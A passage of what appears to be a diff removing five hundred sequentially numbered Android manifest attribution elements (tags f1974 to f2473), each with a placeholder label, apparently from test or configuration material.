- <attribution android:tag="f1974" android:label="@string/dummyLabel" />
- <attribution android:tag="f1975" android:label="@string/dummyLabel" />
- <attribution android:tag="f1976" android:label="@string/dummyLabel" />
- <attribution android:tag="f1977" android:label="@string/dummyLabel" />
- <attribution android:tag="f1978" android:label="@string/dummyLabel" />
- <attribution android:tag="f1979" android:label="@string/dummyLabel" />
- <attribution android:tag="f1980" android:label="@string/dummyLabel" />
- <attribution android:tag="f1981" android:label="@string/dummyLabel" />
- <attribution android:tag="f1982" android:label="@string/dummyLabel" />
- <attribution android:tag="f1983" android:label="@string/dummyLabel" />
- <attribution android:tag="f1984" android:label="@string/dummyLabel" />
- <attribution android:tag="f1985" android:label="@string/dummyLabel" />
- <attribution android:tag="f1986" android:label="@string/dummyLabel" />
- <attribution android:tag="f1987" android:label="@string/dummyLabel" />
- <attribution android:tag="f1988" android:label="@string/dummyLabel" />
- <attribution android:tag="f1989" android:label="@string/dummyLabel" />
- <attribution android:tag="f1990" android:label="@string/dummyLabel" />
- <attribution android:tag="f1991" android:label="@string/dummyLabel" />
- <attribution android:tag="f1992" android:label="@string/dummyLabel" />
- <attribution android:tag="f1993" android:label="@string/dummyLabel" />
- <attribution android:tag="f1994" android:label="@string/dummyLabel" />
- <attribution android:tag="f1995" android:label="@string/dummyLabel" />
- <attribution android:tag="f1996" android:label="@string/dummyLabel" />
- <attribution android:tag="f1997" android:label="@string/dummyLabel" />
- <attribution android:tag="f1998" android:label="@string/dummyLabel" />
- <attribution android:tag="f1999" android:label="@string/dummyLabel" />
- <attribution android:tag="f2000" android:label="@string/dummyLabel" />
- <attribution android:tag="f2001" android:label="@string/dummyLabel" />
- <attribution android:tag="f2002" android:label="@string/dummyLabel" />
- <attribution android:tag="f2003" android:label="@string/dummyLabel" />
- <attribution android:tag="f2004" android:label="@string/dummyLabel" />
- <attribution android:tag="f2005" android:label="@string/dummyLabel" />
- <attribution android:tag="f2006" android:label="@string/dummyLabel" />
- <attribution android:tag="f2007" android:label="@string/dummyLabel" />
- <attribution android:tag="f2008" android:label="@string/dummyLabel" />
- <attribution android:tag="f2009" android:label="@string/dummyLabel" />
- <attribution android:tag="f2010" android:label="@string/dummyLabel" />
- <attribution android:tag="f2011" android:label="@string/dummyLabel" />
- <attribution android:tag="f2012" android:label="@string/dummyLabel" />
- <attribution android:tag="f2013" android:label="@string/dummyLabel" />
- <attribution android:tag="f2014" android:label="@string/dummyLabel" />
- <attribution android:tag="f2015" android:label="@string/dummyLabel" />
- <attribution android:tag="f2016" android:label="@string/dummyLabel" />
- <attribution android:tag="f2017" android:label="@string/dummyLabel" />
- <attribution android:tag="f2018" android:label="@string/dummyLabel" />
- <attribution android:tag="f2019" android:label="@string/dummyLabel" />
- <attribution android:tag="f2020" android:label="@string/dummyLabel" />
- <attribution android:tag="f2021" android:label="@string/dummyLabel" />
- <attribution android:tag="f2022" android:label="@string/dummyLabel" />
- <attribution android:tag="f2023" android:label="@string/dummyLabel" />
- <attribution android:tag="f2024" android:label="@string/dummyLabel" />
- <attribution android:tag="f2025" android:label="@string/dummyLabel" />
- <attribution android:tag="f2026" android:label="@string/dummyLabel" />
- <attribution android:tag="f2027" android:label="@string/dummyLabel" />
- <attribution android:tag="f2028" android:label="@string/dummyLabel" />
- <attribution android:tag="f2029" android:label="@string/dummyLabel" />
- <attribution android:tag="f2030" android:label="@string/dummyLabel" />
- <attribution android:tag="f2031" android:label="@string/dummyLabel" />
- <attribution android:tag="f2032" android:label="@string/dummyLabel" />
- <attribution android:tag="f2033" android:label="@string/dummyLabel" />
- <attribution android:tag="f2034" android:label="@string/dummyLabel" />
- <attribution android:tag="f2035" android:label="@string/dummyLabel" />
- <attribution android:tag="f2036" android:label="@string/dummyLabel" />
- <attribution android:tag="f2037" android:label="@string/dummyLabel" />
- <attribution android:tag="f2038" android:label="@string/dummyLabel" />
- <attribution android:tag="f2039" android:label="@string/dummyLabel" />
- <attribution android:tag="f2040" android:label="@string/dummyLabel" />
- <attribution android:tag="f2041" android:label="@string/dummyLabel" />
- <attribution android:tag="f2042" android:label="@string/dummyLabel" />
- <attribution android:tag="f2043" android:label="@string/dummyLabel" />
- <attribution android:tag="f2044" android:label="@string/dummyLabel" />
- <attribution android:tag="f2045" android:label="@string/dummyLabel" />
- <attribution android:tag="f2046" android:label="@string/dummyLabel" />
- <attribution android:tag="f2047" android:label="@string/dummyLabel" />
- <attribution android:tag="f2048" android:label="@string/dummyLabel" />
- <attribution android:tag="f2049" android:label="@string/dummyLabel" />
- <attribution android:tag="f2050" android:label="@string/dummyLabel" />
- <attribution android:tag="f2051" android:label="@string/dummyLabel" />
- <attribution android:tag="f2052" android:label="@string/dummyLabel" />
- <attribution android:tag="f2053" android:label="@string/dummyLabel" />
- <attribution android:tag="f2054" android:label="@string/dummyLabel" />
- <attribution android:tag="f2055" android:label="@string/dummyLabel" />
- <attribution android:tag="f2056" android:label="@string/dummyLabel" />
- <attribution android:tag="f2057" android:label="@string/dummyLabel" />
- <attribution android:tag="f2058" android:label="@string/dummyLabel" />
- <attribution android:tag="f2059" android:label="@string/dummyLabel" />
- <attribution android:tag="f2060" android:label="@string/dummyLabel" />
- <attribution android:tag="f2061" android:label="@string/dummyLabel" />
- <attribution android:tag="f2062" android:label="@string/dummyLabel" />
- <attribution android:tag="f2063" android:label="@string/dummyLabel" />
- <attribution android:tag="f2064" android:label="@string/dummyLabel" />
- <attribution android:tag="f2065" android:label="@string/dummyLabel" />
- <attribution android:tag="f2066" android:label="@string/dummyLabel" />
- <attribution android:tag="f2067" android:label="@string/dummyLabel" />
- <attribution android:tag="f2068" android:label="@string/dummyLabel" />
- <attribution android:tag="f2069" android:label="@string/dummyLabel" />
- <attribution android:tag="f2070" android:label="@string/dummyLabel" />
- <attribution android:tag="f2071" android:label="@string/dummyLabel" />
- <attribution android:tag="f2072" android:label="@string/dummyLabel" />
- <attribution android:tag="f2073" android:label="@string/dummyLabel" />
- <attribution android:tag="f2074" android:label="@string/dummyLabel" />
- <attribution android:tag="f2075" android:label="@string/dummyLabel" />
- <attribution android:tag="f2076" android:label="@string/dummyLabel" />
- <attribution android:tag="f2077" android:label="@string/dummyLabel" />
- <attribution android:tag="f2078" android:label="@string/dummyLabel" />
- <attribution android:tag="f2079" android:label="@string/dummyLabel" />
- <attribution android:tag="f2080" android:label="@string/dummyLabel" />
- <attribution android:tag="f2081" android:label="@string/dummyLabel" />
- <attribution android:tag="f2082" android:label="@string/dummyLabel" />
- <attribution android:tag="f2083" android:label="@string/dummyLabel" />
- <attribution android:tag="f2084" android:label="@string/dummyLabel" />
- <attribution android:tag="f2085" android:label="@string/dummyLabel" />
- <attribution android:tag="f2086" android:label="@string/dummyLabel" />
- <attribution android:tag="f2087" android:label="@string/dummyLabel" />
- <attribution android:tag="f2088" android:label="@string/dummyLabel" />
- <attribution android:tag="f2089" android:label="@string/dummyLabel" />
- <attribution android:tag="f2090" android:label="@string/dummyLabel" />
- <attribution android:tag="f2091" android:label="@string/dummyLabel" />
- <attribution android:tag="f2092" android:label="@string/dummyLabel" />
- <attribution android:tag="f2093" android:label="@string/dummyLabel" />
- <attribution android:tag="f2094" android:label="@string/dummyLabel" />
- <attribution android:tag="f2095" android:label="@string/dummyLabel" />
- <attribution android:tag="f2096" android:label="@string/dummyLabel" />
- <attribution android:tag="f2097" android:label="@string/dummyLabel" />
- <attribution android:tag="f2098" android:label="@string/dummyLabel" />
- <attribution android:tag="f2099" android:label="@string/dummyLabel" />
- <attribution android:tag="f2100" android:label="@string/dummyLabel" />
- <attribution android:tag="f2101" android:label="@string/dummyLabel" />
- <attribution android:tag="f2102" android:label="@string/dummyLabel" />
- <attribution android:tag="f2103" android:label="@string/dummyLabel" />
- <attribution android:tag="f2104" android:label="@string/dummyLabel" />
- <attribution android:tag="f2105" android:label="@string/dummyLabel" />
- <attribution android:tag="f2106" android:label="@string/dummyLabel" />
- <attribution android:tag="f2107" android:label="@string/dummyLabel" />
- <attribution android:tag="f2108" android:label="@string/dummyLabel" />
- <attribution android:tag="f2109" android:label="@string/dummyLabel" />
- <attribution android:tag="f2110" android:label="@string/dummyLabel" />
- <attribution android:tag="f2111" android:label="@string/dummyLabel" />
- <attribution android:tag="f2112" android:label="@string/dummyLabel" />
- <attribution android:tag="f2113" android:label="@string/dummyLabel" />
- <attribution android:tag="f2114" android:label="@string/dummyLabel" />
- <attribution android:tag="f2115" android:label="@string/dummyLabel" />
- <attribution android:tag="f2116" android:label="@string/dummyLabel" />
- <attribution android:tag="f2117" android:label="@string/dummyLabel" />
- <attribution android:tag="f2118" android:label="@string/dummyLabel" />
- <attribution android:tag="f2119" android:label="@string/dummyLabel" />
- <attribution android:tag="f2120" android:label="@string/dummyLabel" />
- <attribution android:tag="f2121" android:label="@string/dummyLabel" />
- <attribution android:tag="f2122" android:label="@string/dummyLabel" />
- <attribution android:tag="f2123" android:label="@string/dummyLabel" />
- <attribution android:tag="f2124" android:label="@string/dummyLabel" />
- <attribution android:tag="f2125" android:label="@string/dummyLabel" />
- <attribution android:tag="f2126" android:label="@string/dummyLabel" />
- <attribution android:tag="f2127" android:label="@string/dummyLabel" />
- <attribution android:tag="f2128" android:label="@string/dummyLabel" />
- <attribution android:tag="f2129" android:label="@string/dummyLabel" />
- <attribution android:tag="f2130" android:label="@string/dummyLabel" />
- <attribution android:tag="f2131" android:label="@string/dummyLabel" />
- <attribution android:tag="f2132" android:label="@string/dummyLabel" />
- <attribution android:tag="f2133" android:label="@string/dummyLabel" />
- <attribution android:tag="f2134" android:label="@string/dummyLabel" />
- <attribution android:tag="f2135" android:label="@string/dummyLabel" />
- <attribution android:tag="f2136" android:label="@string/dummyLabel" />
- <attribution android:tag="f2137" android:label="@string/dummyLabel" />
- <attribution android:tag="f2138" android:label="@string/dummyLabel" />
- <attribution android:tag="f2139" android:label="@string/dummyLabel" />
- <attribution android:tag="f2140" android:label="@string/dummyLabel" />
- <attribution android:tag="f2141" android:label="@string/dummyLabel" />
- <attribution android:tag="f2142" android:label="@string/dummyLabel" />
- <attribution android:tag="f2143" android:label="@string/dummyLabel" />
- <attribution android:tag="f2144" android:label="@string/dummyLabel" />
- <attribution android:tag="f2145" android:label="@string/dummyLabel" />
- <attribution android:tag="f2146" android:label="@string/dummyLabel" />
- <attribution android:tag="f2147" android:label="@string/dummyLabel" />
- <attribution android:tag="f2148" android:label="@string/dummyLabel" />
- <attribution android:tag="f2149" android:label="@string/dummyLabel" />
- <attribution android:tag="f2150" android:label="@string/dummyLabel" />
- <attribution android:tag="f2151" android:label="@string/dummyLabel" />
- <attribution android:tag="f2152" android:label="@string/dummyLabel" />
- <attribution android:tag="f2153" android:label="@string/dummyLabel" />
- <attribution android:tag="f2154" android:label="@string/dummyLabel" />
- <attribution android:tag="f2155" android:label="@string/dummyLabel" />
- <attribution android:tag="f2156" android:label="@string/dummyLabel" />
- <attribution android:tag="f2157" android:label="@string/dummyLabel" />
- <attribution android:tag="f2158" android:label="@string/dummyLabel" />
- <attribution android:tag="f2159" android:label="@string/dummyLabel" />
- <attribution android:tag="f2160" android:label="@string/dummyLabel" />
- <attribution android:tag="f2161" android:label="@string/dummyLabel" />
- <attribution android:tag="f2162" android:label="@string/dummyLabel" />
- <attribution android:tag="f2163" android:label="@string/dummyLabel" />
- <attribution android:tag="f2164" android:label="@string/dummyLabel" />
- <attribution android:tag="f2165" android:label="@string/dummyLabel" />
- <attribution android:tag="f2166" android:label="@string/dummyLabel" />
- <attribution android:tag="f2167" android:label="@string/dummyLabel" />
- <attribution android:tag="f2168" android:label="@string/dummyLabel" />
- <attribution android:tag="f2169" android:label="@string/dummyLabel" />
- <attribution android:tag="f2170" android:label="@string/dummyLabel" />
- <attribution android:tag="f2171" android:label="@string/dummyLabel" />
- <attribution android:tag="f2172" android:label="@string/dummyLabel" />
- <attribution android:tag="f2173" android:label="@string/dummyLabel" />
- <attribution android:tag="f2174" android:label="@string/dummyLabel" />
- <attribution android:tag="f2175" android:label="@string/dummyLabel" />
- <attribution android:tag="f2176" android:label="@string/dummyLabel" />
- <attribution android:tag="f2177" android:label="@string/dummyLabel" />
- <attribution android:tag="f2178" android:label="@string/dummyLabel" />
- <attribution android:tag="f2179" android:label="@string/dummyLabel" />
- <attribution android:tag="f2180" android:label="@string/dummyLabel" />
- <attribution android:tag="f2181" android:label="@string/dummyLabel" />
- <attribution android:tag="f2182" android:label="@string/dummyLabel" />
- <attribution android:tag="f2183" android:label="@string/dummyLabel" />
- <attribution android:tag="f2184" android:label="@string/dummyLabel" />
- <attribution android:tag="f2185" android:label="@string/dummyLabel" />
- <attribution android:tag="f2186" android:label="@string/dummyLabel" />
- <attribution android:tag="f2187" android:label="@string/dummyLabel" />
- <attribution android:tag="f2188" android:label="@string/dummyLabel" />
- <attribution android:tag="f2189" android:label="@string/dummyLabel" />
- <attribution android:tag="f2190" android:label="@string/dummyLabel" />
- <attribution android:tag="f2191" android:label="@string/dummyLabel" />
- <attribution android:tag="f2192" android:label="@string/dummyLabel" />
- <attribution android:tag="f2193" android:label="@string/dummyLabel" />
- <attribution android:tag="f2194" android:label="@string/dummyLabel" />
- <attribution android:tag="f2195" android:label="@string/dummyLabel" />
- <attribution android:tag="f2196" android:label="@string/dummyLabel" />
- <attribution android:tag="f2197" android:label="@string/dummyLabel" />
- <attribution android:tag="f2198" android:label="@string/dummyLabel" />
- <attribution android:tag="f2199" android:label="@string/dummyLabel" />
- <attribution android:tag="f2200" android:label="@string/dummyLabel" />
- <attribution android:tag="f2201" android:label="@string/dummyLabel" />
- <attribution android:tag="f2202" android:label="@string/dummyLabel" />
- <attribution android:tag="f2203" android:label="@string/dummyLabel" />
- <attribution android:tag="f2204" android:label="@string/dummyLabel" />
- <attribution android:tag="f2205" android:label="@string/dummyLabel" />
- <attribution android:tag="f2206" android:label="@string/dummyLabel" />
- <attribution android:tag="f2207" android:label="@string/dummyLabel" />
- <attribution android:tag="f2208" android:label="@string/dummyLabel" />
- <attribution android:tag="f2209" android:label="@string/dummyLabel" />
- <attribution android:tag="f2210" android:label="@string/dummyLabel" />
- <attribution android:tag="f2211" android:label="@string/dummyLabel" />
- <attribution android:tag="f2212" android:label="@string/dummyLabel" />
- <attribution android:tag="f2213" android:label="@string/dummyLabel" />
- <attribution android:tag="f2214" android:label="@string/dummyLabel" />
- <attribution android:tag="f2215" android:label="@string/dummyLabel" />
- <attribution android:tag="f2216" android:label="@string/dummyLabel" />
- <attribution android:tag="f2217" android:label="@string/dummyLabel" />
- <attribution android:tag="f2218" android:label="@string/dummyLabel" />
- <attribution android:tag="f2219" android:label="@string/dummyLabel" />
- <attribution android:tag="f2220" android:label="@string/dummyLabel" />
- <attribution android:tag="f2221" android:label="@string/dummyLabel" />
- <attribution android:tag="f2222" android:label="@string/dummyLabel" />
- <attribution android:tag="f2223" android:label="@string/dummyLabel" />
- <attribution android:tag="f2224" android:label="@string/dummyLabel" />
- <attribution android:tag="f2225" android:label="@string/dummyLabel" />
- <attribution android:tag="f2226" android:label="@string/dummyLabel" />
- <attribution android:tag="f2227" android:label="@string/dummyLabel" />
- <attribution android:tag="f2228" android:label="@string/dummyLabel" />
- <attribution android:tag="f2229" android:label="@string/dummyLabel" />
- <attribution android:tag="f2230" android:label="@string/dummyLabel" />
- <attribution android:tag="f2231" android:label="@string/dummyLabel" />
- <attribution android:tag="f2232" android:label="@string/dummyLabel" />
- <attribution android:tag="f2233" android:label="@string/dummyLabel" />
- <attribution android:tag="f2234" android:label="@string/dummyLabel" />
- <attribution android:tag="f2235" android:label="@string/dummyLabel" />
- <attribution android:tag="f2236" android:label="@string/dummyLabel" />
- <attribution android:tag="f2237" android:label="@string/dummyLabel" />
- <attribution android:tag="f2238" android:label="@string/dummyLabel" />
- <attribution android:tag="f2239" android:label="@string/dummyLabel" />
- <attribution android:tag="f2240" android:label="@string/dummyLabel" />
- <attribution android:tag="f2241" android:label="@string/dummyLabel" />
- <attribution android:tag="f2242" android:label="@string/dummyLabel" />
- <attribution android:tag="f2243" android:label="@string/dummyLabel" />
- <attribution android:tag="f2244" android:label="@string/dummyLabel" />
- <attribution android:tag="f2245" android:label="@string/dummyLabel" />
- <attribution android:tag="f2246" android:label="@string/dummyLabel" />
- <attribution android:tag="f2247" android:label="@string/dummyLabel" />
- <attribution android:tag="f2248" android:label="@string/dummyLabel" />
- <attribution android:tag="f2249" android:label="@string/dummyLabel" />
- <attribution android:tag="f2250" android:label="@string/dummyLabel" />
- <attribution android:tag="f2251" android:label="@string/dummyLabel" />
- <attribution android:tag="f2252" android:label="@string/dummyLabel" />
- <attribution android:tag="f2253" android:label="@string/dummyLabel" />
- <attribution android:tag="f2254" android:label="@string/dummyLabel" />
- <attribution android:tag="f2255" android:label="@string/dummyLabel" />
- <attribution android:tag="f2256" android:label="@string/dummyLabel" />
- <attribution android:tag="f2257" android:label="@string/dummyLabel" />
- <attribution android:tag="f2258" android:label="@string/dummyLabel" />
- <attribution android:tag="f2259" android:label="@string/dummyLabel" />
- <attribution android:tag="f2260" android:label="@string/dummyLabel" />
- <attribution android:tag="f2261" android:label="@string/dummyLabel" />
- <attribution android:tag="f2262" android:label="@string/dummyLabel" />
- <attribution android:tag="f2263" android:label="@string/dummyLabel" />
- <attribution android:tag="f2264" android:label="@string/dummyLabel" />
- <attribution android:tag="f2265" android:label="@string/dummyLabel" />
- <attribution android:tag="f2266" android:label="@string/dummyLabel" />
- <attribution android:tag="f2267" android:label="@string/dummyLabel" />
- <attribution android:tag="f2268" android:label="@string/dummyLabel" />
- <attribution android:tag="f2269" android:label="@string/dummyLabel" />
- <attribution android:tag="f2270" android:label="@string/dummyLabel" />
- <attribution android:tag="f2271" android:label="@string/dummyLabel" />
- <attribution android:tag="f2272" android:label="@string/dummyLabel" />
- <attribution android:tag="f2273" android:label="@string/dummyLabel" />
- <attribution android:tag="f2274" android:label="@string/dummyLabel" />
- <attribution android:tag="f2275" android:label="@string/dummyLabel" />
- <attribution android:tag="f2276" android:label="@string/dummyLabel" />
- <attribution android:tag="f2277" android:label="@string/dummyLabel" />
- <attribution android:tag="f2278" android:label="@string/dummyLabel" />
- <attribution android:tag="f2279" android:label="@string/dummyLabel" />
- <attribution android:tag="f2280" android:label="@string/dummyLabel" />
- <attribution android:tag="f2281" android:label="@string/dummyLabel" />
- <attribution android:tag="f2282" android:label="@string/dummyLabel" />
- <attribution android:tag="f2283" android:label="@string/dummyLabel" />
- <attribution android:tag="f2284" android:label="@string/dummyLabel" />
- <attribution android:tag="f2285" android:label="@string/dummyLabel" />
- <attribution android:tag="f2286" android:label="@string/dummyLabel" />
- <attribution android:tag="f2287" android:label="@string/dummyLabel" />
- <attribution android:tag="f2288" android:label="@string/dummyLabel" />
- <attribution android:tag="f2289" android:label="@string/dummyLabel" />
- <attribution android:tag="f2290" android:label="@string/dummyLabel" />
- <attribution android:tag="f2291" android:label="@string/dummyLabel" />
- <attribution android:tag="f2292" android:label="@string/dummyLabel" />
- <attribution android:tag="f2293" android:label="@string/dummyLabel" />
- <attribution android:tag="f2294" android:label="@string/dummyLabel" />
- <attribution android:tag="f2295" android:label="@string/dummyLabel" />
- <attribution android:tag="f2296" android:label="@string/dummyLabel" />
- <attribution android:tag="f2297" android:label="@string/dummyLabel" />
- <attribution android:tag="f2298" android:label="@string/dummyLabel" />
- <attribution android:tag="f2299" android:label="@string/dummyLabel" />
- <attribution android:tag="f2300" android:label="@string/dummyLabel" />
- <attribution android:tag="f2301" android:label="@string/dummyLabel" />
- <attribution android:tag="f2302" android:label="@string/dummyLabel" />
- <attribution android:tag="f2303" android:label="@string/dummyLabel" />
- <attribution android:tag="f2304" android:label="@string/dummyLabel" />
- <attribution android:tag="f2305" android:label="@string/dummyLabel" />
- <attribution android:tag="f2306" android:label="@string/dummyLabel" />
- <attribution android:tag="f2307" android:label="@string/dummyLabel" />
- <attribution android:tag="f2308" android:label="@string/dummyLabel" />
- <attribution android:tag="f2309" android:label="@string/dummyLabel" />
- <attribution android:tag="f2310" android:label="@string/dummyLabel" />
- <attribution android:tag="f2311" android:label="@string/dummyLabel" />
- <attribution android:tag="f2312" android:label="@string/dummyLabel" />
- <attribution android:tag="f2313" android:label="@string/dummyLabel" />
- <attribution android:tag="f2314" android:label="@string/dummyLabel" />
- <attribution android:tag="f2315" android:label="@string/dummyLabel" />
- <attribution android:tag="f2316" android:label="@string/dummyLabel" />
- <attribution android:tag="f2317" android:label="@string/dummyLabel" />
- <attribution android:tag="f2318" android:label="@string/dummyLabel" />
- <attribution android:tag="f2319" android:label="@string/dummyLabel" />
- <attribution android:tag="f2320" android:label="@string/dummyLabel" />
- <attribution android:tag="f2321" android:label="@string/dummyLabel" />
- <attribution android:tag="f2322" android:label="@string/dummyLabel" />
- <attribution android:tag="f2323" android:label="@string/dummyLabel" />
- <attribution android:tag="f2324" android:label="@string/dummyLabel" />
- <attribution android:tag="f2325" android:label="@string/dummyLabel" />
- <attribution android:tag="f2326" android:label="@string/dummyLabel" />
- <attribution android:tag="f2327" android:label="@string/dummyLabel" />
- <attribution android:tag="f2328" android:label="@string/dummyLabel" />
- <attribution android:tag="f2329" android:label="@string/dummyLabel" />
- <attribution android:tag="f2330" android:label="@string/dummyLabel" />
- <attribution android:tag="f2331" android:label="@string/dummyLabel" />
- <attribution android:tag="f2332" android:label="@string/dummyLabel" />
- <attribution android:tag="f2333" android:label="@string/dummyLabel" />
- <attribution android:tag="f2334" android:label="@string/dummyLabel" />
- <attribution android:tag="f2335" android:label="@string/dummyLabel" />
- <attribution android:tag="f2336" android:label="@string/dummyLabel" />
- <attribution android:tag="f2337" android:label="@string/dummyLabel" />
- <attribution android:tag="f2338" android:label="@string/dummyLabel" />
- <attribution android:tag="f2339" android:label="@string/dummyLabel" />
- <attribution android:tag="f2340" android:label="@string/dummyLabel" />
- <attribution android:tag="f2341" android:label="@string/dummyLabel" />
- <attribution android:tag="f2342" android:label="@string/dummyLabel" />
- <attribution android:tag="f2343" android:label="@string/dummyLabel" />
- <attribution android:tag="f2344" android:label="@string/dummyLabel" />
- <attribution android:tag="f2345" android:label="@string/dummyLabel" />
- <attribution android:tag="f2346" android:label="@string/dummyLabel" />
- <attribution android:tag="f2347" android:label="@string/dummyLabel" />
- <attribution android:tag="f2348" android:label="@string/dummyLabel" />
- <attribution android:tag="f2349" android:label="@string/dummyLabel" />
- <attribution android:tag="f2350" android:label="@string/dummyLabel" />
- <attribution android:tag="f2351" android:label="@string/dummyLabel" />
- <attribution android:tag="f2352" android:label="@string/dummyLabel" />
- <attribution android:tag="f2353" android:label="@string/dummyLabel" />
- <attribution android:tag="f2354" android:label="@string/dummyLabel" />
- <attribution android:tag="f2355" android:label="@string/dummyLabel" />
- <attribution android:tag="f2356" android:label="@string/dummyLabel" />
- <attribution android:tag="f2357" android:label="@string/dummyLabel" />
- <attribution android:tag="f2358" android:label="@string/dummyLabel" />
- <attribution android:tag="f2359" android:label="@string/dummyLabel" />
- <attribution android:tag="f2360" android:label="@string/dummyLabel" />
- <attribution android:tag="f2361" android:label="@string/dummyLabel" />
- <attribution android:tag="f2362" android:label="@string/dummyLabel" />
- <attribution android:tag="f2363" android:label="@string/dummyLabel" />
- <attribution android:tag="f2364" android:label="@string/dummyLabel" />
- <attribution android:tag="f2365" android:label="@string/dummyLabel" />
- <attribution android:tag="f2366" android:label="@string/dummyLabel" />
- <attribution android:tag="f2367" android:label="@string/dummyLabel" />
- <attribution android:tag="f2368" android:label="@string/dummyLabel" />
- <attribution android:tag="f2369" android:label="@string/dummyLabel" />
- <attribution android:tag="f2370" android:label="@string/dummyLabel" />
- <attribution android:tag="f2371" android:label="@string/dummyLabel" />
- <attribution android:tag="f2372" android:label="@string/dummyLabel" />
- <attribution android:tag="f2373" android:label="@string/dummyLabel" />
- <attribution android:tag="f2374" android:label="@string/dummyLabel" />
- <attribution android:tag="f2375" android:label="@string/dummyLabel" />
- <attribution android:tag="f2376" android:label="@string/dummyLabel" />
- <attribution android:tag="f2377" android:label="@string/dummyLabel" />
- <attribution android:tag="f2378" android:label="@string/dummyLabel" />
- <attribution android:tag="f2379" android:label="@string/dummyLabel" />
- <attribution android:tag="f2380" android:label="@string/dummyLabel" />
- <attribution android:tag="f2381" android:label="@string/dummyLabel" />
- <attribution android:tag="f2382" android:label="@string/dummyLabel" />
- <attribution android:tag="f2383" android:label="@string/dummyLabel" />
- <attribution android:tag="f2384" android:label="@string/dummyLabel" />
- <attribution android:tag="f2385" android:label="@string/dummyLabel" />
- <attribution android:tag="f2386" android:label="@string/dummyLabel" />
- <attribution android:tag="f2387" android:label="@string/dummyLabel" />
- <attribution android:tag="f2388" android:label="@string/dummyLabel" />
- <attribution android:tag="f2389" android:label="@string/dummyLabel" />
- <attribution android:tag="f2390" android:label="@string/dummyLabel" />
- <attribution android:tag="f2391" android:label="@string/dummyLabel" />
- <attribution android:tag="f2392" android:label="@string/dummyLabel" />
- <attribution android:tag="f2393" android:label="@string/dummyLabel" />
- <attribution android:tag="f2394" android:label="@string/dummyLabel" />
- <attribution android:tag="f2395" android:label="@string/dummyLabel" />
- <attribution android:tag="f2396" android:label="@string/dummyLabel" />
- <attribution android:tag="f2397" android:label="@string/dummyLabel" />
- <attribution android:tag="f2398" android:label="@string/dummyLabel" />
- <attribution android:tag="f2399" android:label="@string/dummyLabel" />
- <attribution android:tag="f2400" android:label="@string/dummyLabel" />
- <attribution android:tag="f2401" android:label="@string/dummyLabel" />
- <attribution android:tag="f2402" android:label="@string/dummyLabel" />
- <attribution android:tag="f2403" android:label="@string/dummyLabel" />
- <attribution android:tag="f2404" android:label="@string/dummyLabel" />
- <attribution android:tag="f2405" android:label="@string/dummyLabel" />
- <attribution android:tag="f2406" android:label="@string/dummyLabel" />
- <attribution android:tag="f2407" android:label="@string/dummyLabel" />
- <attribution android:tag="f2408" android:label="@string/dummyLabel" />
- <attribution android:tag="f2409" android:label="@string/dummyLabel" />
- <attribution android:tag="f2410" android:label="@string/dummyLabel" />
- <attribution android:tag="f2411" android:label="@string/dummyLabel" />
- <attribution android:tag="f2412" android:label="@string/dummyLabel" />
- <attribution android:tag="f2413" android:label="@string/dummyLabel" />
- <attribution android:tag="f2414" android:label="@string/dummyLabel" />
- <attribution android:tag="f2415" android:label="@string/dummyLabel" />
- <attribution android:tag="f2416" android:label="@string/dummyLabel" />
- <attribution android:tag="f2417" android:label="@string/dummyLabel" />
- <attribution android:tag="f2418" android:label="@string/dummyLabel" />
- <attribution android:tag="f2419" android:label="@string/dummyLabel" />
- <attribution android:tag="f2420" android:label="@string/dummyLabel" />
- <attribution android:tag="f2421" android:label="@string/dummyLabel" />
- <attribution android:tag="f2422" android:label="@string/dummyLabel" />
- <attribution android:tag="f2423" android:label="@string/dummyLabel" />
- <attribution android:tag="f2424" android:label="@string/dummyLabel" />
- <attribution android:tag="f2425" android:label="@string/dummyLabel" />
- <attribution android:tag="f2426" android:label="@string/dummyLabel" />
- <attribution android:tag="f2427" android:label="@string/dummyLabel" />
- <attribution android:tag="f2428" android:label="@string/dummyLabel" />
- <attribution android:tag="f2429" android:label="@string/dummyLabel" />
- <attribution android:tag="f2430" android:label="@string/dummyLabel" />
- <attribution android:tag="f2431" android:label="@string/dummyLabel" />
- <attribution android:tag="f2432" android:label="@string/dummyLabel" />
- <attribution android:tag="f2433" android:label="@string/dummyLabel" />
- <attribution android:tag="f2434" android:label="@string/dummyLabel" />
- <attribution android:tag="f2435" android:label="@string/dummyLabel" />
- <attribution android:tag="f2436" android:label="@string/dummyLabel" />
- <attribution android:tag="f2437" android:label="@string/dummyLabel" />
- <attribution android:tag="f2438" android:label="@string/dummyLabel" />
- <attribution android:tag="f2439" android:label="@string/dummyLabel" />
- <attribution android:tag="f2440" android:label="@string/dummyLabel" />
- <attribution android:tag="f2441" android:label="@string/dummyLabel" />
- <attribution android:tag="f2442" android:label="@string/dummyLabel" />
- <attribution android:tag="f2443" android:label="@string/dummyLabel" />
- <attribution android:tag="f2444" android:label="@string/dummyLabel" />
- <attribution android:tag="f2445" android:label="@string/dummyLabel" />
- <attribution android:tag="f2446" android:label="@string/dummyLabel" />
- <attribution android:tag="f2447" android:label="@string/dummyLabel" />
- <attribution android:tag="f2448" android:label="@string/dummyLabel" />
- <attribution android:tag="f2449" android:label="@string/dummyLabel" />
- <attribution android:tag="f2450" android:label="@string/dummyLabel" />
- <attribution android:tag="f2451" android:label="@string/dummyLabel" />
- <attribution android:tag="f2452" android:label="@string/dummyLabel" />
- <attribution android:tag="f2453" android:label="@string/dummyLabel" />
- <attribution android:tag="f2454" android:label="@string/dummyLabel" />
- <attribution android:tag="f2455" android:label="@string/dummyLabel" />
- <attribution android:tag="f2456" android:label="@string/dummyLabel" />
- <attribution android:tag="f2457" android:label="@string/dummyLabel" />
- <attribution android:tag="f2458" android:label="@string/dummyLabel" />
- <attribution android:tag="f2459" android:label="@string/dummyLabel" />
- <attribution android:tag="f2460" android:label="@string/dummyLabel" />
- <attribution android:tag="f2461" android:label="@string/dummyLabel" />
- <attribution android:tag="f2462" android:label="@string/dummyLabel" />
- <attribution android:tag="f2463" android:label="@string/dummyLabel" />
- <attribution android:tag="f2464" android:label="@string/dummyLabel" />
- <attribution android:tag="f2465" android:label="@string/dummyLabel" />
- <attribution android:tag="f2466" android:label="@string/dummyLabel" />
- <attribution android:tag="f2467" android:label="@string/dummyLabel" />
- <attribution android:tag="f2468" android:label="@string/dummyLabel" />
- <attribution android:tag="f2469" android:label="@string/dummyLabel" />
- <attribution android:tag="f2470" android:label="@string/dummyLabel" />
- <attribution android:tag="f2471" android:label="@string/dummyLabel" />
- <attribution android:tag="f2472" android:label="@string/dummyLabel" />
- <attribution android:tag="f2473" android:label="@string/dummyLabel" />
